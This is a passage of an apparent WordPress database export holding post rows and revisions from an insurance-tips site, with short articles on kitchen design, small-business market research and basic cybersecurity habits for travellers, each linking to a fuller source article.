(3909,1,'2024-03-30 01:40:19','2024-03-30 01:40:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3907,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3907\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Repair in the house is always a pleasant expectation of the result. But behind this, there is also&nbsp;a long choice of furniture, design, and style for everything to be perfect. The kitchen is one of the most expensive investments in an apartment. Someone saves, someone takes a loan. And before that comes the question: how to create the kitchen of your dreams?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, you need to figure out what you enjoy. Look at the photos and decide on the style direction. Visit several stores with kitchen furniture, choose the manufacturer and the external appearance, or turn to https://hawaiitrustedrealty.com/builder/kitchen-renovation, which offers excellent solutions for interior design. And now, let’s understand what you should focus on to create your dream kitchen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Cabinetry</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even recently, popular tendencies in kitchen design are giving way to new trends with rapid speed. The choice of furniture for the kitchen plays a major role because everything must be comfortable. If we talk about a modern kitchen, it must meet the following criteria:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Simplicity</strong>. Designers of modern kitchen interiors don’t use many details and decoration luxuriance. Straight lines and a minimum of decor prevail.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Functionality</strong>. Each cupboard and shelf should be used to the maximum. By choosing such cabinetry, even the most cramped kitchen becomes comfortable and roomy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Easy installation and disassembly</strong>. Modular kitchen furniture is in demand, which allows adding, removing, or rearranging individual elements depending on the clients’ needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Reliability and safety</strong>. Loads must be calculated in&nbsp;the kitchen cabinetry. Tables and drawers shouldn’t roll over or fall out when opened. In terms of materials, environmentally friendly is preferred.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Design</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trends in interior design change every year, but to make repairs and renew rooms as often is hardly possible. So you need to focus on sustainable trends:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Mezzanine Cabinets</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Unlike standard sets, mezzanine designs have an additional third level. In this way, they use the small free space between the upper&nbsp;edge of the cabinets&nbsp;and the ceiling. Thus you have more storage space and can save on finishes. Cleaning is also greatly simplified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Common Space</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main idea here is unity. Don’t clutter the walls and partitions, not block the light, and not divide the room into small sections. It is especially&nbsp;important for small apartments, where you want to create the illusion of a spacious room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main problem is the sound and smells. But it can be solved with a powerful exhaust system and good ventilation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Multiple Colors or Textures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contrasting two-color sets are coming into trend. The classic option – a darker color in the lower part of the furniture, lighter – in the upper. But no one forbids breaking these canons. An even more interesting color pair will make a mix of textures. For example, stone and wood, marble and metal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Style</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Minimalism</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To make the minimalistic design use warm, diluted shades.&nbsp;Minimalist interiors work&nbsp;through calibrated shapes, depth of color, and a combination of textures. It is the textures that need special attention. Combine cool and warm textures, glossy and matte surfaces, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Eco</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Eco-style has become more of a concept than a set of stylistic labels. The key idea is the nature of all materials. On the top is wood or its eco-friendly analogs. It is all complemented by natural interior items – clay and ceramic dishes, accessories made of stone, and bamboo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">High-Tech</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This style is characterized by&nbsp;the use of rough materials. These are concrete, metal, glass, artificial, or natural stone. The palette is mainly achromatic. Black, gray, and white are predominant. Sometimes deep shades of blue, purple, or brown are added to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Color Scheme</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The top color schemes are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Sandy</strong>. The most popular choice is a beige and light gray combo, which is further diluted with a white base or accents.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sage and Olive</strong>. A natural palette cannot be imagined without green. This color in any expression immediately refreshes the decor and is perfect for the kitchen.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Variety of Blue</strong>.&nbsp;The predominance of cool shades&nbsp;of the ocean, storm clouds, indigo, the sky on a sunny day, soft blue, etc.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The style of the headset, curtains, appliances, and beautiful cookware depends on all of the above aspects. Before you buy the desired goods, it’s worth thinking about how well the purchase will fit in with the already existing stuff in the kitchen. There are several rules for selecting cookware for the kitchen:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>matching style,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>appropriateness of color,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ease of use,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>durability and safety.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Based on these criteria and&nbsp;the chosen design, buy products and don’t forget about color combinations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.the-next-tech.com/gadgets/5-considerations-when-creating-the-kitchen-of-your-dreams/\">click here.</a></p>\n<!-- /wp:paragraph -->','5 Considerations When Creating The Kitchen Of Your Dreams','','inherit','closed','closed','','3906-revision-v1','','','2024-03-30 01:40:19','2024-03-30 01:40:19','',3906,'https://smartinsurance.tips/?p=3909',0,'revision','',0),(3910,1,'2024-03-30 01:46:35','2024-03-30 01:46:35','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3911,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-3911\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In the energetic landscape of small businesses, staying ahead of the competition requires informed determination. Necessary to a small business owner’s toolkit is the practice of market research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this complete guide, we will explore the variation of market research, investigating its definition, and the myriad benefits it offers to small business owners. its importance for entrepreneurs, and practical steps on how to conduct effective market research for a startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is Market Research?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Market research involves a standardized methodology for meeting, examining, and making sense of information associated with a particular market, industry, or product. It involves gathering information about potential customers, competitors, and the overall business environment. The main purpose is to develop knowledge that can instruct decisions and define strategies for the business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Market research can be classified into two principal types- primary research and secondary research. Primary research encompasses the firsthand gathering of data directly from original sources, which may include surveys, interviews, and focus groups. Conversely, secondary research depends on pre-existing data and information, frequently sourced from materials like industry reports, government publications, and analyses of competitors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Recognizing the differentiation between these research approaches is essential for small business owners searching to customize their approach according to their unique needs and resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Can Market Research Benefit a Small Business Owner?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Market research acts as a compass for small business owners, guiding them through the complications of the market landscape. Here are several key benefits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Identifying Opportunities and Gaps</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Market research allows entrepreneurs to position emerging trends, unmet needs, and potential gaps in the market. By determining these opportunities, businesses can tailor their products or services to meet specific demands, gaining an emulative edge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Understanding Customer Behavior</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Small business success hinges on understanding customer preferences and behaviors. Via market research, proprietors can acquire valuable perspectives into the purchasing behaviors, preferences, and challenges of their target audience. This knowledge is instrumental in crafting marketing strategies and refining products or services to better meet customer expectations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Mitigating Risks</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Informed decision-making is a powerful risk mitigation strategy. Through complete market research, small business proprietors can foreshow market trends, evaluate potential risks, and adapt their strategies accordingly. This proactive approach enhances the chances of success and longevity in the business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Why is Market Research Important for Entrepreneurs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Entrepreneurs, often directed in resource-constrained environments, stand to gain significantly from effective market research. Here are several key benefits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Informed Decision-Making</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Entrepreneurs come to accept innumerable decisions daily. Market research furnishes the essential information for making decisions based on knowledge, diminishing dependence on intuition and heightening the probability of success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Competitive Advantage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the Businessperson landscape, staying ahead of the competition is paramount. Market research prepares entrepreneurs with the knowledge to identify and levitate competitive advantages, fostering sustainable growth in a competitive market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to Do Market Research for a Startup?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Beginning market research for a startup entails a methodical process of collecting and analyzing pertinent information. Here is a complete guide outlining each step.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Define Your Objectives</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Precisely define the objectives for your market research. Whether it’s understanding customer needs, assessing competition, or evaluating market trends, defining objectives provides direction to your research efforts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Identify Your Target Audience</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Identify the demographic, geographic, and psychographic qualities of your planned audience with precision. Understanding the identity of your believable customers is crucial for customizing your products or services to align with their requirements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Select Your Research Methods</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Select the most suitable research methods based on your objectives and available resources. Options for this could include surveys, interviews, focus groups, or a blend of these approaches. For secondary research, leverage existing data from reputable sources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collect and Analyze Data</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Execute your chosen research methods and collect data systematically. Once gathered, analyze the data to extract meaningful insights. Search for consistent patterns, emerging trends, and correlations that can provide insights for shaping your business strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Draw Conclusions and Make Recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Synthesize the findings of your research into actionable conclusions. Drawing from these findings, provide interesting suggestions for your business strategy, product development, and marketing initiatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Implement Changes and Monitor Results</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Act on the insights gained from your research by implementing necessary changes. Incessantly monitor and estimate the impact of these changes, adjusting your strategies as needed to adapt to evolving market dynamics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the emulative landscape of small business, market research stands as a pillar of informed decision-making. From understanding customer behavior to identifying lucrative opportunities, entrepreneurs can leverage market research to navigate the challenges of the business environment successfully. By adopting a methodical methodology and leveraging the acquired insights, small business proprietors can position themselves for growth and resilience in a market that is continually evolving.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.the-next-tech.com/business/market-research/\">click here.</a></p>\n<!-- /wp:paragraph -->','How To Conduct Market Research For Small Business','','publish','closed','closed','','how-to-conduct-market-research-for-small-business','','','2024-03-30 01:46:36','2024-03-30 01:46:36','',0,'https://smartinsurance.tips/?p=3910',0,'post','',0),(3911,1,'2024-03-30 01:43:58','2024-03-30 01:43:58','','Untitled-14','','inherit','closed','closed','','untitled-14-3','','','2024-03-30 01:43:58','2024-03-30 01:43:58','',3910,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-14.png',0,'attachment','image/png',0),(3912,1,'2024-03-30 01:46:35','2024-03-30 01:46:35','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3911,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-3911\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In the energetic landscape of small businesses, staying ahead of the competition requires informed determination. Necessary to a small business owner’s toolkit is the practice of market research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this complete guide, we will explore the variation of market research, investigating its definition, and the myriad benefits it offers to small business owners. its importance for entrepreneurs, and practical steps on how to conduct effective market research for a startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is Market Research?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Market research involves a standardized methodology for meeting, examining, and making sense of information associated with a particular market, industry, or product. It involves gathering information about potential customers, competitors, and the overall business environment. The main purpose is to develop knowledge that can instruct decisions and define strategies for the business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Market research can be classified into two principal types- primary research and secondary research. Primary research encompasses the firsthand gathering of data directly from original sources, which may include surveys, interviews, and focus groups. Conversely, secondary research depends on pre-existing data and information, frequently sourced from materials like industry reports, government publications, and analyses of competitors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Recognizing the differentiation between these research approaches is essential for small business owners searching to customize their approach according to their unique needs and resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Can Market Research Benefit a Small Business Owner?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Market research acts as a compass for small business owners, guiding them through the complications of the market landscape. Here are several key benefits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Identifying Opportunities and Gaps</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Market research allows entrepreneurs to position emerging trends, unmet needs, and potential gaps in the market. By determining these opportunities, businesses can tailor their products or services to meet specific demands, gaining an emulative edge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Understanding Customer Behavior</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Small business success hinges on understanding customer preferences and behaviors. Via market research, proprietors can acquire valuable perspectives into the purchasing behaviors, preferences, and challenges of their target audience. This knowledge is instrumental in crafting marketing strategies and refining products or services to better meet customer expectations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Mitigating Risks</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Informed decision-making is a powerful risk mitigation strategy. Through complete market research, small business proprietors can foreshow market trends, evaluate potential risks, and adapt their strategies accordingly. This proactive approach enhances the chances of success and longevity in the business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Why is Market Research Important for Entrepreneurs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Entrepreneurs, often directed in resource-constrained environments, stand to gain significantly from effective market research. Here are several key benefits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Informed Decision-Making</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Entrepreneurs come to accept innumerable decisions daily. Market research furnishes the essential information for making decisions based on knowledge, diminishing dependence on intuition and heightening the probability of success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Competitive Advantage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the Businessperson landscape, staying ahead of the competition is paramount. Market research prepares entrepreneurs with the knowledge to identify and levitate competitive advantages, fostering sustainable growth in a competitive market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to Do Market Research for a Startup?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Beginning market research for a startup entails a methodical process of collecting and analyzing pertinent information. Here is a complete guide outlining each step.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Define Your Objectives</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Precisely define the objectives for your market research. Whether it’s understanding customer needs, assessing competition, or evaluating market trends, defining objectives provides direction to your research efforts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Identify Your Target Audience</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Identify the demographic, geographic, and psychographic qualities of your planned audience with precision. Understanding the identity of your believable customers is crucial for customizing your products or services to align with their requirements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Select Your Research Methods</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Select the most suitable research methods based on your objectives and available resources. Options for this could include surveys, interviews, focus groups, or a blend of these approaches. For secondary research, leverage existing data from reputable sources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collect and Analyze Data</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Execute your chosen research methods and collect data systematically. Once gathered, analyze the data to extract meaningful insights. Search for consistent patterns, emerging trends, and correlations that can provide insights for shaping your business strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Draw Conclusions and Make Recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Synthesize the findings of your research into actionable conclusions. Drawing from these findings, provide interesting suggestions for your business strategy, product development, and marketing initiatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Implement Changes and Monitor Results</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Act on the insights gained from your research by implementing necessary changes. Incessantly monitor and estimate the impact of these changes, adjusting your strategies as needed to adapt to evolving market dynamics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the emulative landscape of small business, market research stands as a pillar of informed decision-making. From understanding customer behavior to identifying lucrative opportunities, entrepreneurs can leverage market research to navigate the challenges of the business environment successfully. By adopting a methodical methodology and leveraging the acquired insights, small business proprietors can position themselves for growth and resilience in a market that is continually evolving.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.the-next-tech.com/business/market-research/\">click here.</a></p>\n<!-- /wp:paragraph -->','How To Conduct Market Research For Small Business','','inherit','closed','closed','','3910-revision-v1','','','2024-03-30 01:46:35','2024-03-30 01:46:35','',3910,'https://smartinsurance.tips/?p=3912',0,'revision','',0),(3913,1,'2024-03-30 02:05:52','2024-03-30 02:05:52','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3914,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-3914\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Cybersecurity should not be limited to the home, office or classroom. It is important to practice safe online behavior and secure internet-enabled mobile devices whenever you travel, as well. The more you travel and access the internet on the go, the more cyber risks you face. No one is exempt from the threat of cybercrime, at home or on the go, but you can follow these simple tips to stay safe online when traveling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Before You Go</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Update your mobile software.&nbsp;</strong>Treat your mobile device like your home or work computer. Keep your operating system software and apps updated, which will improve your device’s ability to defend against malware.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Back up your information.</strong>&nbsp;Back up your contacts, photos, videos and other mobile device data with another device or cloud service.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Set up the&nbsp;<strong>\"find my device feature\" on all your devices.&nbsp;</strong>This will help you find your phone, tablet or laptop if you lose it and might allow you to disable or wipe data from it if it gets in the wrong hands.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Keep it locked.&nbsp;</strong>Get into the habit of locking your device when you are not using it. Even if you only step away for a few minutes, that is enough time for someone to steal or destroy your information. Use strong PINs and passwords.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">While You Are There</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Stop auto connecting.&nbsp;</strong>Disable remote connectivity and Bluetooth. Some devices will automatically seek and connect to available wireless networks. And Bluetooth enables your device to connect wirelessly with other devices, such as headphones or automobile infotainment systems. Disable these features so that you only connect to wireless and Bluetooth networks when you want to.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Think before you connect.&nbsp;</strong>Before you connect to any public wireless hotspot – like on an airplane or in an airport, hotel, train/bus station or café – be sure to confirm the name of the network and exact login procedures with appropriate staff to ensure that the network is legitimate.<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Do not conduct sensitive activities, such as online shopping, banking or sensitive work, using a public wireless network.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Only use sites that begin with “https://” when online shopping or banking.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Using your mobile network connection is generally more secure than using a public wireless network.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list --></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Think before you click.&nbsp;</strong>Use caution when downloading or clicking on any unknown links. Delete emails that are suspicious or are from unknown sources. Review and understand the details of an application before installing.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Guard your mobile device.&nbsp;</strong>To prevent theft and unauthorized access or loss of sensitive information, never leave your mobile devices, including any USB or external storage devices, unattended in a public place. Keep your devices secured in taxis, at airports, on airplanes and in your hotel room.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Common Cybersecurity Threats While Traveling</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Unsecured wireless networks.&nbsp;</strong>While public wireless networks provide great convenience, allowing people to connect to the internet from almost anywhere, they are unsecure and can allow cyber criminals access to your internet-enabled devices. Beyond the typical public wireless networks found at airports, restaurants, hotels and cafes, they are increasingly available in other places, such as on airplanes and in public parks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Publicly accessible computers.&nbsp;</strong>Hotel business centers, libraries and cyber cafes provide computers that anyone can use. Travelers, however, cannot trust that these computers are secure. They might not be running the latest operating systems or have updated anti- virus software. Cyber criminals might have infected these machines with malicious viruses or install malicious software.<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>For example, keylogger malware, when installed, captures the key strokes of the computer’s users and sending this information to criminals via email.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Through this malware, criminals are able to receive users’ personal information, such as name, credit card numbers, birthdates and passwords.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list --></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Physical theft of devices. </strong>Thieves often target travelers. Meal times are optimum times for thieves to check hotel rooms for unattended laptops. If you are attending a conference or trade show, be especially wary: These venues offer thieves a wider selection of devices that are likely to contain sensitive information, and the conference sessions offer more opportunities for thieves to access guest rooms.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://it.nc.gov/resources/online-safety-privacy/tips-guidance/cybersecurity-while-traveling\">click here.</a></p>\n<!-- /wp:paragraph -->','Cybersecurity While Traveling','','publish','closed','closed','','cybersecurity-while-traveling','','','2024-03-30 02:05:55','2024-03-30 02:05:55','',0,'https://smartinsurance.tips/?p=3913',0,'post','',0),(3914,1,'2024-03-30 02:03:31','2024-03-30 02:03:31','','Untitled-15','','inherit','closed','closed','','untitled-15-3','','','2024-03-30 02:03:31','2024-03-30 02:03:31','',3913,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-15.png',0,'attachment','image/png',0),(3915,1,'2024-03-30 02:05:52','2024-03-30 02:05:52','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3914,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-15-1024x1024.png\" alt=\"\" class=\"wp-image-3914\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Cybersecurity should not be limited to the home, office 